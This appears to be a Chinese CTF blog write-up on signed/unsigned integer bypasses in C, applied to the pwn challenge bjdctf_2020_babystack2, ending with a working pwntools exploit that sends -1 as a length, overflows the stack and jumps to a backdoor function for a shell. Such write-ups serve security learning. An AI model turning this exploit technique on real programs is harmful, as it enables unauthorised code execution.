前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >PWN 无符号和有符号整型的绕过漏洞

PWN 无符号和有符号整型的绕过漏洞

作者头像
yulate
发布2023-05-02 11:09:21
发布2023-05-02 11:09:21
97500
代码可运行
举报
运行总次数:0
代码可运行

本文最后更新于 554 天前,其中的信息可能已经有所发展或是发生改变。

无符号和有符号整型

数据元素类型:unsigned(无符号整型)

C语言中,无符号整型数是不带正负表示符号的整型数。C语言在计算机里编译时数都是用二进制表示的,如果最左边这一位不用来表示正负,而是和后面的连在一起表示整数,那么就不能区分这个数是正还是负,就只能是正数,这就是无符号整型数。

unsigned a=-6; printf("%u\n",1); 输出:1 printf("%u\n",0); 输出:0

当传入的值负数的时候,值会溢出,从而得到一个非常大的值,下面就是测试的直观看法:

printf("%u\n",-1); 输出:4294967295 printf("%u\n",-6); 输出:4294967290 printf("%u\n",a); 输出:4294967290

有符号整型,写作signed int, 简写为int时效果相同,因为C语言默认为有符号数。

漏洞存在

如果在无符号类型中输入-1会被判断成一个很大的正整数,从而会导致出现一些如果判断的情况出现

例题分析

bjdctf_2020_babystack2

bjdctf_2020_babystack2:https://buuoj.cn/challenges#bjdctf_2020_babystack2

main函数中就存在这很明显的漏洞,先输入-1,在进行nbutes进行判断的时候读取位-1,但是在read中作为参数时被转换为无符号整型(unsiged int),这个时候-1就会被识别成一个很大的整整数,从而导致栈溢出。

payload

代码语言:javascript
代码运行次数:0
运行
复制
from pwn import *

context.log_level = 'debug'

content = 0
elf = ELF('./bjdctf_2020_babystack2')

# 题目里面有个后面函数,用elf直接查地址
backdoor = elf.symbols['backdoor']

def main():
    if content == 1:
        p = process('./bjdctf_2020_babystack2')
    else:
        p = remote("node4.buuoj.cn", 25588)

    p.sendlineafter('[+]Please input the length of your name:\n', '-1')

    payload = b'a' * (0x10 + 0x8) + p64(backdoor)
    p.sendlineafter("[+]What's u name?\n" ,payload)
    p.interactive()

main()

浏览量: 198

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-10-20 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 无符号和有符号整型
  • 漏洞存在
  • 例题分析
    • bjdctf_2020_babystack2
    • payload
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档